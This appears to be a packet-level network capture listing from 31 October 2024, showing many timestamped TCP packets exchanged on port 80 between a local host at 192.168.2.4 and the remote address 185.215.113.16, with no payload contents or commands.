Oct 31, 2024 23:37:16.443176985 CET	49739	80	192.168.2.4	185.215.113.16
Oct 31, 2024 23:37:16.443361998 CET	80	49739	185.215.113.16	192.168.2.4
Oct 31, 2024 23:37:16.443372965 CET	80	49739	185.215.113.16	192.168.2.4
Oct 31, 2024 23:37:16.443382978 CET	80	49739	185.215.113.16	192.168.2.4
Oct 31, 2024 23:37:16.443392992 CET	80	49739	185.215.113.16	192.168.2.4
Oct 31, 2024 23:37:16.443403006 CET	80	49739	185.215.113.16	192.168.2.4
Oct 31, 2024 23:37:16.443403006 CET	49739	80	192.168.2.4	185.215.113.16
Oct 31, 2024 23:37:16.443414927 CET	80	49739	185.215.113.16	192.168.2.4
Oct 31, 2024 23:37:16.443423033 CET	49739	80	192.168.2.4	185.215.113.16
Oct 31, 2024 23:37:16.443424940 CET	80	49739	185.215.113.16	192.168.2.4
Oct 31, 2024 23:37:16.443437099 CET	80	49739	185.215.113.16	192.168.2.4
Oct 31, 2024 23:37:16.443448067 CET	80	49739	185.215.113.16	192.168.2.4
Oct 31, 2024 23:37:16.443454027 CET	49739	80	192.168.2.4	185.215.113.16
Oct 31, 2024 23:37:16.443459988 CET	80	49739	185.215.113.16	192.168.2.4
Oct 31, 2024 23:37:16.443481922 CET	49739	80	192.168.2.4	185.215.113.16
Oct 31, 2024 23:37:16.443501949 CET	49739	80	192.168.2.4	185.215.113.16
Oct 31, 2024 23:37:16.445630074 CET	49739	80	192.168.2.4	185.215.113.16
Oct 31, 2024 23:37:16.506784916 CET	80	49739	185.215.113.16	192.168.2.4
Oct 31, 2024 23:37:16.507222891 CET	80	49739	185.215.113.16	192.168.2.4
Oct 31, 2024 23:37:16.507293940 CET	49739	80	192.168.2.4	185.215.113.16
Oct 31, 2024 23:37:16.596859932 CET	80	49739	185.215.113.16	192.168.2.4
Oct 31, 2024 23:37:16.596894026 CET	80	49739	185.215.113.16	192.168.2.4
Oct 31, 2024 23:37:16.596898079 CET	80	49739	185.215.113.16	192.168.2.4
Oct 31, 2024 23:37:16.596976042 CET	80	49739	185.215.113.16	192.168.2.4
Oct 31, 2024 23:37:16.596981049 CET	80	49739	185.215.113.16	192.168.2.4
Oct 31, 2024 23:37:16.596991062 CET	80	49739	185.215.113.16	192.168.2.4
Oct 31, 2024 23:37:16.596997976 CET	80	49739	185.215.113.16	192.168.2.4
Oct 31, 2024 23:37:16.597055912 CET	49739	80	192.168.2.4	185.215.113.16
Oct 31, 2024 23:37:16.597101927 CET	80	49739	185.215.113.16	192.168.2.4
Oct 31, 2024 23:37:16.597104073 CET	49739	80	192.168.2.4	185.215.113.16
Oct 31, 2024 23:37:16.597114086 CET	80	49739	185.215.113.16	192.168.2.4
Oct 31, 2024 23:37:16.597126007 CET	80	49739	185.215.113.16	192.168.2.4
Oct 31, 2024 23:37:16.597136974 CET	80	49739	185.215.113.16	192.168.2.4
Oct 31, 2024 23:37:16.597147942 CET	80	49739	185.215.113.16	192.168.2.4
Oct 31, 2024 23:37:16.597151041 CET	49739	80	192.168.2.4	185.215.113.16
Oct 31, 2024 23:37:16.597161055 CET	80	49739	185.215.113.16	192.168.2.4
Oct 31, 2024 23:37:16.597172976 CET	80	49739	185.215.113.16	192.168.2.4
Oct 31, 2024 23:37:16.597174883 CET	49739	80	192.168.2.4	185.215.113.16
Oct 31, 2024 23:37:16.597192049 CET	49739	80	192.168.2.4	185.215.113.16
Oct 31, 2024 23:37:16.597214937 CET	49739	80	192.168.2.4	185.215.113.16
Oct 31, 2024 23:37:16.597228050 CET	80	49739	185.215.113.16	192.168.2.4
Oct 31, 2024 23:37:16.597239017 CET	80	49739	185.215.113.16	192.168.2.4
Oct 31, 2024 23:37:16.597270966 CET	49739	80	192.168.2.4	185.215.113.16
Oct 31, 2024 23:37:16.597297907 CET	80	49739	185.215.113.16	192.168.2.4
Oct 31, 2024 23:37:16.597309113 CET	80	49739	185.215.113.16	192.168.2.4
Oct 31, 2024 23:37:16.597318888 CET	80	49739	185.215.113.16	192.168.2.4
Oct 31, 2024 23:37:16.597330093 CET	80	49739	185.215.113.16	192.168.2.4
Oct 31, 2024 23:37:16.597343922 CET	49739	80	192.168.2.4	185.215.113.16
Oct 31, 2024 23:37:16.597374916 CET	49739	80	192.168.2.4	185.215.113.16
Oct 31, 2024 23:37:16.597399950 CET	80	49739	185.215.113.16	192.168.2.4
Oct 31, 2024 23:37:16.597410917 CET	80	49739	185.215.113.16	192.168.2.4
Oct 31, 2024 23:37:16.597421885 CET	80	49739	185.215.113.16	192.168.2.4
Oct 31, 2024 23:37:16.597443104 CET	49739	80	192.168.2.4	185.215.113.16
Oct 31, 2024 23:37:16.597470045 CET	80	49739	185.215.113.16	192.168.2.4
Oct 31, 2024 23:37:16.597481012 CET	80	49739	185.215.113.16	192.168.2.4
Oct 31, 2024 23:37:16.597490072 CET	80	49739	185.215.113.16	192.168.2.4
Oct 31, 2024 23:37:16.597501040 CET	80	49739	185.215.113.16	192.168.2.4
Oct 31, 2024 23:37:16.597512007 CET	80	49739	185.215.113.16	192.168.2.4
Oct 31, 2024 23:37:16.597515106 CET	49739	80	192.168.2.4	185.215.113.16
Oct 31, 2024 23:37:16.597523928 CET	80	49739	185.215.113.16	192.168.2.4
Oct 31, 2024 23:37:16.597537994 CET	49739	80	192.168.2.4	185.215.113.16
Oct 31, 2024 23:37:16.597558975 CET	49739	80	192.168.2.4	185.215.113.16
Oct 31, 2024 23:37:16.597712994 CET	80	49739	185.215.113.16	192.168.2.4
Oct 31, 2024 23:37:16.597723961 CET	80	49739	185.215.113.16	192.168.2.4
Oct 31, 2024 23:37:16.597733974 CET	80	49739	185.215.113.16	192.168.2.4
Oct 31, 2024 23:37:16.597743988 CET	80	49739	185.215.113.16	192.168.2.4
Oct 31, 2024 23:37:16.597754002 CET	80	49739	185.215.113.16	192.168.2.4
Oct 31, 2024 23:37:16.597757101 CET	49739	80	192.168.2.4	185.215.113.16
Oct 31, 2024 23:37:16.597765923 CET	80	49739	185.215.113.16	192.168.2.4
Oct 31, 2024 23:37:16.597775936 CET	49739	80	192.168.2.4	185.215.113.16
Oct 31, 2024 23:37:16.597779036 CET	80	49739	185.215.113.16	192.168.2.4
Oct 31, 2024 23:37:16.597789049 CET	49739	80	192.168.2.4	185.215.113.16
Oct 31, 2024 23:37:16.597791910 CET	80	49739	185.215.113.16	192.168.2.4
Oct 31, 2024 23:37:16.597817898 CET	49739	80	192.168.2.4	185.215.113.16
Oct 31, 2024 23:37:16.598144054 CET	80	49739	185.215.113.16	192.168.2.4
Oct 31, 2024 23:37:16.598155022 CET	80	49739	185.215.113.16	192.168.2.4
Oct 31, 2024 23:37:16.598164082 CET	80	49739	185.215.113.16	192.168.2.4
Oct 31, 2024 23:37:16.598176003 CET	80	49739	185.215.113.16	192.168.2.4
Oct 31, 2024 23:37:16.598186970 CET	80	49739	185.215.113.16	192.168.2.4
Oct 31, 2024 23:37:16.598189116 CET	49739	80	192.168.2.4	185.215.113.16
Oct 31, 2024 23:37:16.598205090 CET	80	49739	185.215.113.16	192.168.2.4
Oct 31, 2024 23:37:16.598216057 CET	80	49739	185.215.113.16	192.168.2.4
Oct 31, 2024 23:37:16.598220110 CET	49739	80	192.168.2.4	185.215.113.16
Oct 31, 2024 23:37:16.598228931 CET	80	49739	185.215.113.16	192.168.2.4
Oct 31, 2024 23:37:16.598238945 CET	80	49739	185.215.113.16	192.168.2.4
Oct 31, 2024 23:37:16.598249912 CET	80	49739	185.215.113.16	192.168.2.4
Oct 31, 2024 23:37:16.598262072 CET	80	49739	185.215.113.16	192.168.2.4
Oct 31, 2024 23:37:16.598263979 CET	49739	80	192.168.2.4	185.215.113.16
Oct 31, 2024 23:37:16.598294020 CET	49739	80	192.168.2.4	185.215.113.16
Oct 31, 2024 23:37:16.598337889 CET	80	49739	185.215.113.16	192.168.2.4
Oct 31, 2024 23:37:16.598349094 CET	80	49739	185.215.113.16	192.168.2.4
Oct 31, 2024 23:37:16.598359108 CET	80	49739	185.215.113.16	192.168.2.4
Oct 31, 2024 23:37:16.598372936 CET	80	49739	185.215.113.16	192.168.2.4
Oct 31, 2024 23:37:16.598382950 CET	80	49739	185.215.113.16	192.168.2.4
Oct 31, 2024 23:37:16.598387957 CET	49739	80	192.168.2.4	185.215.113.16
Oct 31, 2024 23:37:16.598395109 CET	80	49739	185.215.113.16	192.168.2.4
Oct 31, 2024 23:37:16.598406076 CET	80	49739	185.215.113.16	192.168.2.4
Oct 31, 2024 23:37:16.598416090 CET	80	49739	185.215.113.16	192.168.2.4
Oct 31, 2024 23:37:16.598417997 CET	49739	80	192.168.2.4	185.215.113.16
Oct 31, 2024 23:37:16.598428011 CET	80	49739	185.215.113.16	192.168.2.4
Oct 31, 2024 23:37:16.598438025 CET	80	49739	185.215.113.16	192.168.2.4
Oct 31, 2024 23:37:16.598449945 CET	49739	80	192.168.2.4	185.215.113.16
Oct 31, 2024 23:37:16.598453999 CET	80	49739	185.215.113.16	192.168.2.4
Oct 31, 2024 23:37:16.598464966 CET	80	49739	185.215.113.16	192.168.2.4
Oct 31, 2024 23:37:16.598478079 CET	49739	80	192.168.2.4	185.215.113.16
Oct 31, 2024 23:37:16.598498106 CET	49739	80	192.168.2.4	185.215.113.16
Oct 31, 2024 23:37:16.598516941 CET	80	49739	185.215.113.16	192.168.2.4
Oct 31, 2024 23:37:16.598529100 CET	80	49739	185.215.113.16	192.168.2.4
Oct 31, 2024 23:37:16.598535061 CET	80	49739	185.215.113.16	192.168.2.4
Oct 31, 2024 23:37:16.598545074 CET	80	49739	185.215.113.16	192.168.2.4
Oct 31, 2024 23:37:16.598555088 CET	80	49739	185.215.113.16	192.168.2.4
Oct 31, 2024 23:37:16.598568916 CET	49739	80	192.168.2.4	185.215.113.16
Oct 31, 2024 23:37:16.598578930 CET	49739	80	192.168.2.4	185.215.113.16
Oct 31, 2024 23:37:16.598685026 CET	80	49739	185.215.113.16	192.168.2.4
Oct 31, 2024 23:37:16.598694086 CET	80	49739	185.215.113.16	192.168.2.4
Oct 31, 2024 23:37:16.598702908 CET	80	49739	185.215.113.16	192.168.2.4
Oct 31, 2024 23:37:16.598714113 CET	80	49739	185.215.113.16	192.168.2.4
Oct 31, 2024 23:37:16.598725080 CET	80	49739	185.215.113.16	192.168.2.4
Oct 31, 2024 23:37:16.598735094 CET	80	49739	185.215.113.16	192.168.2.4
Oct 31, 2024 23:37:16.598738909 CET	49739	80	192.168.2.4	185.215.113.16
Oct 31, 2024 23:37:16.598747969 CET	80	49739	185.215.113.16	192.168.2.4
Oct 31, 2024 23:37:16.598757982 CET	80	49739	185.215.113.16	192.168.2.4
Oct 31, 2024 23:37:16.598757029 CET	49739	80	192.168.2.4	185.215.113.16
Oct 31, 2024 23:37:16.598768950 CET	80	49739	185.215.113.16	192.168.2.4
Oct 31, 2024 23:37:16.598782063 CET	80	49739	185.215.113.16	192.168.2.4
Oct 31, 2024 23:37:16.598782063 CET	49739	80	192.168.2.4	185.215.113.16
Oct 31, 2024 23:37:16.598793983 CET	80	49739	185.215.113.16	192.168.2.4
Oct 31, 2024 23:37:16.598795891 CET	49739	80	192.168.2.4	185.215.113.16
Oct 31, 2024 23:37:16.598804951 CET	80	49739	185.215.113.16	192.168.2.4
Oct 31, 2024 23:37:16.598818064 CET	80	49739	185.215.113.16	192.168.2.4
Oct 31, 2024 23:37:16.598834038 CET	80	49739	185.215.113.16	192.168.2.4
Oct 31, 2024 23:37:16.598846912 CET	80	49739	185.215.113.16	192.168.2.4
Oct 31, 2024 23:37:16.598849058 CET	49739	80	192.168.2.4	185.215.113.16
Oct 31, 2024 23:37:16.598860979 CET	49739	80	192.168.2.4	185.215.113.16
Oct 31, 2024 23:37:16.598884106 CET	49739	80	192.168.2.4	185.215.113.16
Oct 31, 2024 23:37:16.598994017 CET	80	49739	185.215.113.16	192.168.2.4
Oct 31, 2024 23:37:16.599004030 CET	80	49739	185.215.113.16	192.168.2.4
Oct 31, 2024 23:37:16.599009037 CET	80	49739	185.215.113.16	192.168.2.4
Oct 31, 2024 23:37:16.599014044 CET	80	49739	185.215.113.16	192.168.2.4
Oct 31, 2024 23:37:16.599024057 CET	80	49739	185.215.113.16	192.168.2.4
Oct 31, 2024 23:37:16.599035978 CET	80	49739	185.215.113.16	192.168.2.4
Oct 31, 2024 23:37:16.599045038 CET	80	49739	185.215.113.16	192.168.2.4
Oct 31, 2024 23:37:16.599046946 CET	49739	80	192.168.2.4	185.215.113.16
Oct 31, 2024 23:37:16.599056005 CET	49739	80	192.168.2.4	185.215.113.16
Oct 31, 2024 23:37:16.599059105 CET	80	49739	185.215.113.16	192.168.2.4
Oct 31, 2024 23:37:16.599073887 CET	49739	80	192.168.2.4	185.215.113.16
Oct 31, 2024 23:37:16.599075079 CET	80	49739	185.215.113.16	192.168.2.4
Oct 31, 2024 23:37:16.599087000 CET	80	49739	185.215.113.16	192.168.2.4
Oct 31, 2024 23:37:16.599090099 CET	49739	80	192.168.2.4	185.215.113.16
Oct 31, 2024 23:37:16.599100113 CET	80	49739	185.215.113.16	192.168.2.4
Oct 31, 2024 23:37:16.599111080 CET	80	49739	185.215.113.16	192.168.2.4
Oct 31, 2024 23:37:16.599123955 CET	49739	80	192.168.2.4	185.215.113.16
Oct 31, 2024 23:37:16.599133015 CET	80	49739	185.215.113.16	192.168.2.4
Oct 31, 2024 23:37:16.599144936 CET	80	49739	185.215.113.16	192.168.2.4
Oct 31, 2024 23:37:16.599147081 CET	49739	80	192.168.2.4	185.215.113.16
Oct 31, 2024 23:37:16.599155903 CET	80	49739	185.215.113.16	192.168.2.4
Oct 31, 2024 23:37:16.599186897 CET	49739	80	192.168.2.4	185.215.113.16
Oct 31, 2024 23:37:16.599270105 CET	80	49739	185.215.113.16	192.168.2.4
Oct 31, 2024 23:37:16.599282026 CET	80	49739	185.215.113.16	192.168.2.4
Oct 31, 2024 23:37:16.599291086 CET	80	49739	185.215.113.16	192.168.2.4
Oct 31, 2024 23:37:16.599303007 CET	80	49739	185.215.113.16	192.168.2.4
Oct 31, 2024 23:37:16.599315882 CET	80	49739	185.215.113.16	192.168.2.4
Oct 31, 2024 23:37:16.599319935 CET	49739	80	192.168.2.4	185.215.113.16
Oct 31, 2024 23:37:16.599329948 CET	80	49739	185.215.113.16	192.168.2.4
Oct 31, 2024 23:37:16.599342108 CET	80	49739	185.215.113.16	192.168.2.4
Oct 31, 2024 23:37:16.599343061 CET	49739	80	192.168.2.4	185.215.113.16
Oct 31, 2024 23:37:16.599354029 CET	80	49739	185.215.113.16	192.168.2.4
Oct 31, 2024 23:37:16.599366903 CET	80	49739	185.215.113.16	192.168.2.4
Oct 31, 2024 23:37:16.599369049 CET	49739	80	192.168.2.4	185.215.113.16
Oct 31, 2024 23:37:16.599380016 CET	80	49739	185.215.113.16	192.168.2.4
Oct 31, 2024 23:37:16.599390030 CET	49739	80	192.168.2.4	185.215.113.16
Oct 31, 2024 23:37:16.599406958 CET	49739	80	192.168.2.4	185.215.113.16
Oct 31, 2024 23:37:16.599411011 CET	80	49739	185.215.113.16	192.168.2.4
Oct 31, 2024 23:37:16.599427938 CET	80	49739	185.215.113.16	192.168.2.4
Oct 31, 2024 23:37:16.599436998 CET	80	49739	185.215.113.16	192.168.2.4
Oct 31, 2024 23:37:16.599447012 CET	80	49739	185.215.113.16	192.168.2.4
Oct 31, 2024 23:37:16.599458933 CET	80	49739	185.215.113.16	192.168.2.4
Oct 31, 2024 23:37:16.599467993 CET	80	49739	185.215.113.16	192.168.2.4
Oct 31, 2024 23:37:16.599468946 CET	49739	80	192.168.2.4	185.215.113.16
Oct 31, 2024 23:37:16.599478960 CET	49739	80	192.168.2.4	185.215.113.16
Oct 31, 2024 23:37:16.599479914 CET	80	49739	185.215.113.16	192.168.2.4
Oct 31, 2024 23:37:16.599492073 CET	80	49739	185.215.113.16	192.168.2.4
Oct 31, 2024 23:37:16.599502087 CET	49739	80	192.168.2.4	185.215.113.16
Oct 31, 2024 23:37:16.599509954 CET	49739	80	192.168.2.4	185.215.113.16
Oct 31, 2024 23:37:16.599822998 CET	80	49739	185.215.113.16	192.168.2.4
Oct 31, 2024 23:37:16.599833965 CET	80	49739	185.215.113.16	192.168.2.4
Oct 31, 2024 23:37:16.599849939 CET	80	49739	185.215.113.16	192.168.2.4
Oct 31, 2024 23:37:16.599862099 CET	80	49739	185.215.113.16	192.168.2.4
Oct 31, 2024 23:37:16.599869967 CET	49739	80	192.168.2.4	185.215.113.16
Oct 31, 2024 23:37:16.599874020 CET	80	49739	185.215.113.16	192.168.2.4
Oct 31, 2024 23:37:16.599879980 CET	49739	80	192.168.2.4	185.215.113.16
Oct 31, 2024 23:37:16.599885941 CET	80	49739	185.215.113.16	192.168.2.4
Oct 31, 2024 23:37:16.599893093 CET	80	49739	185.215.113.16	192.168.2.4
Oct 31, 2024 23:37:16.599904060 CET	80	49739	185.215.113.16	192.168.2.4
Oct 31, 2024 23:37:16.599924088 CET	49739	80	192.168.2.4	185.215.113.16
Oct 31, 2024 23:37:16.599948883 CET	49739	80	192.168.2.4	185.215.113.16
Oct 31, 2024 23:37:16.600119114 CET	80	49739	185.215.113.16	192.168.2.4
Oct 31, 2024 23:37:16.600128889 CET	80	49739	185.215.113.16	192.168.2.4
Oct 31, 2024 23:37:16.600137949 CET	80	49739	185.215.113.16	192.168.2.4
Oct 31, 2024 23:37:16.600147963 CET	80	49739	185.215.113.16	192.168.2.4
Oct 31, 2024 23:37:16.600157022 CET	49739	80	192.168.2.4	185.215.113.16
Oct 31, 2024 23:37:16.600167036 CET	80	49739	185.215.113.16	192.168.2.4
Oct 31, 2024 23:37:16.600178003 CET	80	49739	185.215.113.16	192.168.2.4
Oct 31, 2024 23:37:16.600184917 CET	49739	80	192.168.2.4	185.215.113.16
Oct 31, 2024 23:37:16.600188971 CET	80	49739	185.215.113.16	192.168.2.4
Oct 31, 2024 23:37:16.600202084 CET	80	49739	185.215.113.16	192.168.2.4
Oct 31, 2024 23:37:16.600210905 CET	49739	80	192.168.2.4	185.215.113.16
Oct 31, 2024 23:37:16.600214005 CET	80	49739	185.215.113.16	192.168.2.4
Oct 31, 2024 23:37:16.600223064 CET	49739	80	192.168.2.4	185.215.113.16
Oct 31, 2024 23:37:16.600225925 CET	80	49739	185.215.113.16	192.168.2.4
Oct 31, 2024 23:37:16.600239038 CET	80	49739	185.215.113.16	192.168.2.4
Oct 31, 2024 23:37:16.600249052 CET	80	49739	185.215.113.16	192.168.2.4
Oct 31, 2024 23:37:16.600253105 CET	49739	80	192.168.2.4	185.215.113.16
Oct 31, 2024 23:37:16.600285053 CET	49739	80	192.168.2.4	185.215.113.16
Oct 31, 2024 23:37:16.600291014 CET	80	49739	185.215.113.16	192.168.2.4
Oct 31, 2024 23:37:16.600301027 CET	80	49739	185.215.113.16	192.168.2.4
Oct 31, 2024 23:37:16.600311995 CET	80	49739	185.215.113.16	192.168.2.4
Oct 31, 2024 23:37:16.600332975 CET	49739	80	192.168.2.4	185.215.113.16
Oct 31, 2024 23:37:16.600356102 CET	49739	80	192.168.2.4	185.215.113.16
Oct 31, 2024 23:37:16.600385904 CET	80	49739	185.215.113.16	192.168.2.4
Oct 31, 2024 23:37:16.600398064 CET	80	49739	185.215.113.16	192.168.2.4
Oct 31, 2024 23:37:16.600442886 CET	49739	80	192.168.2.4	185.215.113.16
Oct 31, 2024 23:37:16.601335049 CET	80	49739	185.215.113.16	192.168.2.4
Oct 31, 2024 23:37:16.601346970 CET	80	49739	185.215.113.16	192.168.2.4
Oct 31, 2024 23:37:16.601356983 CET	80	49739	185.215.113.16	192.168.2.4
Oct 31, 2024 23:37:16.601377964 CET	49739	80	192.168.2.4	185.215.113.16
Oct 31, 2024 23:37:16.601464987 CET	80	49739	185.215.113.16	192.168.2.4
Oct 31, 2024 23:37:16.601481915 CET	80	49739	185.215.113.16	192.168.2.4
Oct 31, 2024 23:37:16.601492882 CET	80	49739	185.215.113.16	192.168.2.4
Oct 31, 2024 23:37:16.601497889 CET	80	49739	185.215.113.16	192.168.2.4
Oct 31, 2024 23:37:16.601511002 CET	80	49739	185.215.113.16	192.168.2.4
Oct 31, 2024 23:37:16.601517916 CET	49739	80	192.168.2.4	185.215.113.16
Oct 31, 2024 23:37:16.601521969 CET	80	49739	185.215.113.16	192.168.2.4
Oct 31, 2024 23:37:16.601535082 CET	80	49739	185.215.113.16	192.168.2.4
Oct 31, 2024 23:37:16.601543903 CET	80	49739	185.215.113.16	192.168.2.4
Oct 31, 2024 23:37:16.601546049 CET	49739	80	192.168.2.4	185.215.113.16
Oct 31, 2024 23:37:16.601578951 CET	49739	80	192.168.2.4	185.215.113.16
Oct 31, 2024 23:37:16.601733923 CET	80	49739	185.215.113.16	192.168.2.4
Oct 31, 2024 23:37:16.601742983 CET	80	49739	185.215.113.16	192.168.2.4
Oct 31, 2024 23:37:16.601756096 CET	80	49739	185.215.113.16	192.168.2.4
Oct 31, 2024 23:37:16.601777077 CET	49739	80	192.168.2.4	185.215.113.16
Oct 31, 2024 23:37:16.601784945 CET	80	49739	185.215.113.16	192.168.2.4
Oct 31, 2024 23:37:16.601793051 CET	49739	80	192.168.2.4	185.215.113.16
Oct 31, 2024 23:37:16.601795912 CET	80	49739	185.215.113.16	192.168.2.4
Oct 31, 2024 23:37:16.601809025 CET	80	49739	185.215.113.16	192.168.2.4
Oct 31, 2024 23:37:16.601843119 CET	49739	80	192.168.2.4	185.215.113.16
Oct 31, 2024 23:37:16.601941109 CET	80	49739	185.215.113.16	192.168.2.4
Oct 31, 2024 23:37:16.601952076 CET	80	49739	185.215.113.16	192.168.2.4
Oct 31, 2024 23:37:16.601963043 CET	80	49739	185.215.113.16	192.168.2.4
Oct 31, 2024 23:37:16.601975918 CET	80	49739	185.215.113.16	192.168.2.4
Oct 31, 2024 23:37:16.601988077 CET	49739	80	192.168.2.4	185.215.113.16
Oct 31, 2024 23:37:16.601999044 CET	49739	80	192.168.2.4	185.215.113.16
Oct 31, 2024 23:37:16.602091074 CET	80	49739	185.215.113.16	192.168.2.4
Oct 31, 2024 23:37:16.602102041 CET	80	49739	185.215.113.16	192.168.2.4
Oct 31, 2024 23:37:16.602112055 CET	80	49739	185.215.113.16	192.168.2.4
Oct 31, 2024 23:37:16.602129936 CET	80	49739	185.215.113.16	192.168.2.4
Oct 31, 2024 23:37:16.602133036 CET	49739	80	192.168.2.4	185.215.113.16
Oct 31, 2024 23:37:16.602143049 CET	80	49739	185.215.113.16	192.168.2.4
Oct 31, 2024 23:37:16.602153063 CET	80	49739	185.215.113.16	192.168.2.4
Oct 31, 2024 23:37:16.602154970 CET	49739	80	192.168.2.4	185.215.113.16
Oct 31, 2024 23:37:16.602173090 CET	80	49739	185.215.113.16	192.168.2.4
Oct 31, 2024 23:37:16.602174997 CET	49739	80	192.168.2.4	185.215.113.16
Oct 31, 2024 23:37:16.602184057 CET	80	49739	185.215.113.16	192.168.2.4
Oct 31, 2024 23:37:16.602194071 CET	80	49739	185.215.113.16	192.168.2.4
Oct 31, 2024 23:37:16.602207899 CET	80	49739	185.215.113.16	192.168.2.4
Oct 31, 2024 23:37:16.602216005 CET	49739	80	192.168.2.4	185.215.113.16
Oct 31, 2024 23:37:16.602217913 CET	80	49739	185.215.113.16	192.168.2.4
Oct 31, 2024 23:37:16.602230072 CET	80	49739	185.215.113.16	192.168.2.4
Oct 31, 2024 23:37:16.602231979 CET	49739	80	192.168.2.4	185.215.113.16
Oct 31, 2024 23:37:16.602241039 CET	80	49739	185.215.113.16	192.168.2.4
Oct 31, 2024 23:37:16.602245092 CET	49739	80	192.168.2.4	185.215.113.16
Oct 31, 2024 23:37:16.602289915 CET	49739	80	192.168.2.4	185.215.113.16
Oct 31, 2024 23:37:16.602303028 CET	80	49739	185.215.113.16	192.168.2.4
Oct 31, 2024 23:37:16.602314949 CET	80	49739	185.215.113.16	192.168.2.4
Oct 31, 2024 23:37:16.602324963 CET	80	49739	185.215.113.16	192.168.2.4
Oct 31, 2024 23:37:16.602334976 CET	80	49739	185.215.113.16	192.168.2.4
Oct 31, 2024 23:37:16.602344990 CET	49739	80	192.168.2.4	185.215.113.16
Oct 31, 2024 23:37:16.602345943 CET	80	49739	185.215.113.16	192.168.2.4
Oct 31, 2024 23:37:16.602358103 CET	80	49739	185.215.113.16	192.168.2.4
Oct 31, 2024 23:37:16.602377892 CET	49739	80	192.168.2.4	185.215.113.16
Oct 31, 2024 23:37:16.602389097 CET	49739	80	192.168.2.4	185.215.113.16
Oct 31, 2024 23:37:16.602442026 CET	80	49739	185.215.113.16	192.168.2.4
Oct 31, 2024 23:37:16.602452993 CET	80	49739	185.215.113.16	192.168.2.4
Oct 31, 2024 23:37:16.602463007 CET	80	49739	185.215.113.16	192.168.2.4
Oct 31, 2024 23:37:16.602478981 CET	80	49739	185.215.113.16	192.168.2.4
Oct 31, 2024 23:37:16.602484941 CET	49739	80	192.168.2.4	185.215.113.16
Oct 31, 2024 23:37:16.602520943 CET	49739	80	192.168.2.4	185.215.113.16
Oct 31, 2024 23:37:16.602597952 CET	80	49739	185.215.113.16	192.168.2.4
Oct 31, 2024 23:37:16.602608919 CET	80	49739	185.215.113.16	192.168.2.4
Oct 31, 2024 23:37:16.602617979 CET	80	49739	185.215.113.16	192.168.2.4
Oct 31, 2024 23:37:16.602633953 CET	80	49739	185.215.113.16	192.168.2.4
Oct 31, 2024 23:37:16.602639914 CET	49739	80	192.168.2.4	185.215.113.16
Oct 31, 2024 23:37:16.602644920 CET	80	49739	185.215.113.16	192.168.2.4
Oct 31, 2024 23:37:16.602657080 CET	80	49739	185.215.113.16	192.168.2.4
Oct 31, 2024 23:37:16.602667093 CET	80	49739	185.215.113.16	192.168.2.4
Oct 31, 2024 23:37:16.602674961 CET	49739	80	192.168.2.4	185.215.113.16
Oct 31, 2024 23:37:16.602678061 CET	80	49739	185.215.113.16	192.168.2.4
Oct 31, 2024 23:37:16.602690935 CET	80	49739	185.215.113.16	192.168.2.4
Oct 31, 2024 23:37:16.602701902 CET	80	49739	185.215.113.16	192.168.2.4
Oct 31, 2024 23:37:16.602704048 CET	49739	80	192.168.2.4	185.215.113.16
Oct 31, 2024 23:37:16.602715969 CET	49739	80	192.168.2.4	185.215.113.16
Oct 31, 2024 23:37:16.602740049 CET	80	49739	185.215.113.16	192.168.2.4
Oct 31, 2024 23:37:16.602741957 CET	49739	80	192.168.2.4	185.215.113.16
Oct 31, 2024 23:37:16.602751970 CET	80	49739	185.215.113.16	192.168.2.4
Oct 31, 2024 23:37:16.602762938 CET	80	49739	185.215.113.16	192.168.2.4
Oct 31, 2024 23:37:16.602773905 CET	80	49739	185.215.113.16	192.168.2.4
Oct 31, 2024 23:37:16.602783918 CET	80	49739	185.215.113.16	192.168.2.4
Oct 31, 2024 23:37:16.602787018 CET	49739	80	192.168.2.4	185.215.113.16
Oct 31, 2024 23:37:16.602807045 CET	49739	80	192.168.2.4	185.215.113.16
Oct 31, 2024 23:37:16.602966070 CET	80	49739	185.215.113.16	192.168.2.4
Oct 31, 2024 23:37:16.602976084 CET	80	49739	185.215.113.16	192.168.2.4
Oct 31, 2024 23:37:16.603005886 CET	49739	80	192.168.2.4	185.215.113.16
Oct 31, 2024 23:37:16.603070974 CET	49739	80	192.168.2.4	185.215.113.16
Oct 31, 2024 23:37:16.603111029 CET	80	49739	185.215.113.16	192.168.2.4
Oct 31, 2024 23:37:16.603121996 CET	80	49739	185.215.113.16	192.168.2.4
Oct 31, 2024 23:37:16.603137016 CET	80	49739	185.215.113.16	192.168.2.4
Oct 31, 2024 23:37:16.603147984 CET	80	49739	185.215.113.16	192.168.2.4
Oct 31, 2024 23:37:16.603157043 CET	80	49739	185.215.113.16	192.168.2.4
Oct 31, 2024 23:37:16.603157043 CET	49739	80	192.168.2.4	185.215.113.16
Oct 31, 2024 23:37:16.603168011 CET	49739	80	192.168.2.4	185.215.113.16
Oct 31, 2024 23:37:16.603168964 CET	80	49739	185.215.113.16	192.168.2.4
Oct 31, 2024 23:37:16.603182077 CET	80	49739	185.215.113.16	192.168.2.4
Oct 31, 2024 23:37:16.603198051 CET	80	49739	185.215.113.16	192.168.2.4
Oct 31, 2024 23:37:16.603198051 CET	49739	80	192.168.2.4	185.215.113.16
Oct 31, 2024 23:37:16.603209972 CET	80	49739	185.215.113.16	192.168.2.4
Oct 31, 2024 23:37:16.603219032 CET	80	49739	185.215.113.16	192.168.2.4
Oct 31, 2024 23:37:16.603223085 CET	49739	80	192.168.2.4	185.215.113.16
Oct 31, 2024 23:37:16.603230953 CET	80	49739	185.215.113.16	192.168.2.4
Oct 31, 2024 23:37:16.603246927 CET	80	49739	185.215.113.16	192.168.2.4
Oct 31, 2024 23:37:16.603250980 CET	49739	80	192.168.2.4	185.215.113.16
Oct 31, 2024 23:37:16.603257895 CET	80	49739	185.215.113.16	192.168.2.4
Oct 31, 2024 23:37:16.603267908 CET	80	49739	185.215.113.16	192.168.2.4
Oct 31, 2024 23:37:16.603271961 CET	49739	80	192.168.2.4	185.215.113.16
Oct 31, 2024 23:37:16.603281021 CET	80	49739	185.215.113.16	192.168.2.4
Oct 31, 2024 23:37:16.603291988 CET	80	49739	185.215.113.16	192.168.2.4
Oct 31, 2024 23:37:16.603302002 CET	80	49739	185.215.113.16	192.168.2.4
Oct 31, 2024 23:37:16.603305101 CET	49739	80	192.168.2.4	185.215.113.16
Oct 31, 2024 23:37:16.603329897 CET	49739	80	192.168.2.4	185.215.113.16
Oct 31, 2024 23:37:16.603338957 CET	49739	80	192.168.2.4	185.215.113.16
Oct 31, 2024 23:37:16.603416920 CET	80	49739	185.215.113.16	192.168.2.4
